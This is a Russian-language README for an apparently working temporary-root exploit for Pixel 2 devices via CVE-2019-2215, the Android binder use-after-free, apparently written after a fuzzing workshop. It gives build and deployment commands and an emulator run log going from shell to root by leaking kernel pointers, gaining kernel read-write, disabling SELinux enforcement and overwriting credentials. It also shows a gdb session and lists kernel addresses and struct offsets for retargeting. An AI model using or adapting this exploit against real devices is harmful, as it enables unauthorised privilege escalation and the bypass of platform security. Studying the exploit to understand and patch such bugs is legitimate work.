
Temproot для Pixel 2 и Pixel 2 XL через CVE-2019-2215
Основано на proof-of-concept от Jann Horn и Maddie Stone из Google Project Zero
Особая благодарность воркшопу CloudFuzz за то, что сделал для меня возможным написание этого эксплойта.
Дополнительная благодарность kangtastic за предоставление ещё одного справочного источника.
Чтобы собрать эксплойт:
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make
Чтобы собрать эксплойт и загрузить его на работающее устройство (используя эмулятор Android Studio):
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Пример использования:
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
[+] Allocating page
[+] Filling page with 'A's
[+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
[+] Allocating binder and epoll file descriptors
[+] Creating Pipe
[+] Constructing IOVEC stack
[+] Forking child process
[+] Allocating and linking binder_thread structure
[+] Freeing binder_thread structure
[+] Reallocating binder_thread structure as IOVECs
[+] CHILD Triggering unlink
[+] CHILD Reading 65536 'A's from pipe
[+] CHILD Exiting
[+] Reading leaked task_struct pointer
[+] Leaked task_struct pointer: 0xffff888010731b80
[+] Closing binder and epoll file descriptors
[+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
[+] Allocating binder and epoll file descriptors
[+] Creating socket
[+] Writing junk data to socket
[+] Constructing IOVEC stack
[+] Crafting socket input data
[+] Creating message header object
[+] Forking child process
[+] Allocating and linking binder_thread structure
[+] Freeing binder_thread structure
[+] Reallocating binder_thread structure as IOVECs
[+] CHILD Triggering unlink
[+] CHILD Reading 65536 'A's from pipe
[+] CHILD Exiting
[+] Verifying arbitrary R/W vector
[+] Opening kernel R/W pipe
[+] PID 7359 verified
[+] Closing binder and epoll file descriptors
[+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
[+] SELinux enforcing flag located at 0xffffffff816acfe8
[+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
[+] Copying nsproxy pointer from kernel-space
[+] init_nsproxy structure address: 0xffffffff81433ac0
[+] Kernel base address: 0xffffffff80200000
[+] init_cred structure address: 0xffffffff81433c30
[+] init_cred usage count: 0x2
[+] Setting init_cred usage count to: 0x3
[+] Setting task_struct credentials to init_cred
[+] New process UID: 0
[+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully
Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit
Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$
Для отладки эксплойта:
gdb -quiet ./path/to/dist/vmlinux -x commands.gdb
Обратите внимание, что запуск эксплойта при подключённом gdb делает его очень ненадёжным, поэтому подключайте gdb только при необходимости. Пример сеанса отладки:
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61 }
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61 }
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.
Breakpoint 1, binder_free_thread (thread=0xffff888011821000) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c:4701
4701 BUG_ON(!list_empty(&thread->todo));
0xffff888011821000: 0xffff888028f72400 0x0000000000000001
0xffff888011821010: 0x0000000000000000 0x0000000000000000
0xffff888011821020: 0xffff888011821020 0xffff888011821020
0xffff888011821030: 0x0000002000001a13 0x0000000000000001
0xffff888011821040: 0x0000000000000000 0xffff888011821048
0xffff888011821050: 0xffff888011821048 0x0000000000000000
0xffff888011821060: 0x0000000000000000 0x0000000000000000
0xffff888011821070: 0x0000000000000003 0x0000000000007201
0xffff888011821080: 0x0000000000000000 0x0000000000000000
0xffff888011821090: 0x0000000000000003 0x0000000000007201
0xffff8880118210a0: 0x0000000000000000 0xffff88806a848198
0xffff8880118210b0: 0xffff88806a848198 0x0000000000000000
0xffff8880118210c0: 0x0000000000000000 0x0000000000000000
0xffff8880118210d0: 0x0000000000000000 0x0000000000000000
0xffff8880118210e0: 0x0000000000000000 0x0000000000000000
0xffff8880118210f0: 0x0000000000000000 0x0000000000000000
0xffff888011821100: 0x0000000000000000 0x0000000000000000
0xffff888011821110: 0x0000000000000000 0x0000000000000000
0xffff888011821120: 0x0000000000000000 0x0000000000000000
0xffff888011821130: 0x0000000000000000 0x0000000000000000
0xffff888011821140: 0x0000000000000000 0x0000000000000000
0xffff888011821150: 0x0000000000000000 0x0000000000000000
0xffff888011821160: 0x0000000000000000 0x0000000000000000
0xffff888011821170: 0x0000000000000000 0x0000000000000000
0xffff888011821180: 0x0000000000000000 0x0000000000000001
0xffff888011821190: 0xffff88804fab3700
Breakpoint 2, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:50
50 spin_lock_irqsave(&wq_head->lock, flags);
0xffff888011821000: 0x0000000000000000 0x0000000000000000
0xffff888011821010: 0x0000000000000000 0x0000000000000000
0xffff888011821020: 0x0000000000000000 0x0000000000000000
0xffff888011821030: 0x0000000000000000 0x0000000000000000
0xffff888011821040: 0x0000000000000000 0x0000000000000000
0xffff888011821050: 0x0000000000000000 0x0000000000000000
0xffff888011821060: 0x0000000000000000 0x0000000000000000
0xffff888011821070: 0x0000000000000000 0x0000000000000000
0xffff888011821080: 0x0000000000000000 0x0000000000000000
0xffff888011821090: 0x0000000000000000 0x0000000000000000
0xffff8880118210a0: 0x0000000100000000 0x0000000000010000
0xffff8880118210b0: 0x00000000deadbeef 0x0000000000010000
0xffff8880118210c0: 0x0000000000000000 0x0000000000000000
0xffff8880118210d0: 0x0000000000000000 0x0000000000000000
0xffff8880118210e0: 0x0000000000000000 0x0000000000000000
0xffff8880118210f0: 0x0000000000000000 0x0000000000000000
0xffff888011821100: 0x0000000000000000 0x0000000000000000
0xffff888011821110: 0x0000000000000000 0x0000000000000000
0xffff888011821120: 0x0000000000000000 0x0000000000000000
0xffff888011821130: 0x0000000000000000 0x0000000000000000
0xffff888011821140: 0x0000000000000000 0x0000000000000000
0xffff888011821150: 0x0000000000000000 0x0000000000000000
0xffff888011821160: 0x0000000000000000 0x0000000000000000
0xffff888011821170: 0x0000000000000000 0x0000000000000000
0xffff888011821180: 0x0000000000000000 0x0000000000000000
0xffff888011821190: 0xffff88804fab3700
Breakpoint 3, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:53
53 }
0xffff888011821000: 0x0000000000000000 0x0000000000000000
0xffff888011821010: 0x0000000000000000 0x0000000000000000
0xffff888011821020: 0x0000000000000000 0x0000000000000000
0xffff888011821030: 0x0000000000000000 0x0000000000000000
0xffff888011821040: 0x0000000000000000 0x0000000000000000
0xffff888011821050: 0x0000000000000000 0x0000000000000000
0xffff888011821060: 0x0000000000000000 0x0000000000000000
0xffff888011821070: 0x0000000000000000 0x0000000000000000
0xffff888011821080: 0x0000000000000000 0x0000000000000000
0xffff888011821090: 0x0000000000000000 0x0000000000000000
0xffff8880118210a0: 0x0000000100000000 0xffff8880118210a8
0xffff8880118210b0: 0xffff8880118210a8 0x0000000000010000
0xffff8880118210c0: 0x0000000000000000 0x0000000000000000
0xffff8880118210d0: 0x0000000000000000 0x0000000000000000
0xffff8880118210e0: 0x0000000000000000 0x0000000000000000
0xffff8880118210f0: 0x0000000000000000 0x0000000000000000
0xffff888011821100: 0x0000000000000000 0x0000000000000000
0xffff888011821110: 0x0000000000000000 0x0000000000000000
0xffff888011821120: 0x0000000000000000 0x0000000000000000
0xffff888011821130: 0x0000000000000000 0x0000000000000000
0xffff888011821140: 0x0000000000000000 0x0000000000000000
0xffff888011821150: 0x0000000000000000 0x0000000000000000
0xffff888011821160: 0x0000000000000000 0x0000000000000000
0xffff888011821170: 0x0000000000000000 0x0000000000000000
0xffff888011821180: 0x0000000000000000 0x0000000000000000
0xffff888011821190: 0xffff88804fab3700
...
Некоторые константы в exploit.h зависят от сборки, а именно:
// System.map
// ffffffff80200000 T _stext
// ffffffff81433ac0 D init_nsproxy
// ffffffff816acfe8 B selinux_enforcing
// ffffffff81433c30 D init_cred
#define KERNEL_BASE 0xffffffff80200000ul
#define INIT_NSPROXY 0xffffffff81433ac0ul
#define SELINUX_ENFORCING 0xffffffff816acfe8ul
#define INIT_CRED 0xffffffff81433c30ul
И
// Variable offsets
// macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
#define ADDR_LIMIT_OFFSET 0xa18ul // p /x (long)offsetof(struct task_struct, thread) + (long)offsetof(struct thread_struct, addr_limit)
#define PID_OFFSET 0x4e8ul // p /x offsetof(struct task_struct, pid)
#define NSPROXY_OFFSET 0x6c0ul // p /x offsetof(struct task_struct, nsproxy)
#define REAL_CRED_OFFSET 0x680ul // p /x offsetof(struct task_struct, real_cred)
Первый набор констант можно получить из файла System.map целевой сборки, а второй набор констант можно вычислить с помощью соответствующих команд gdb.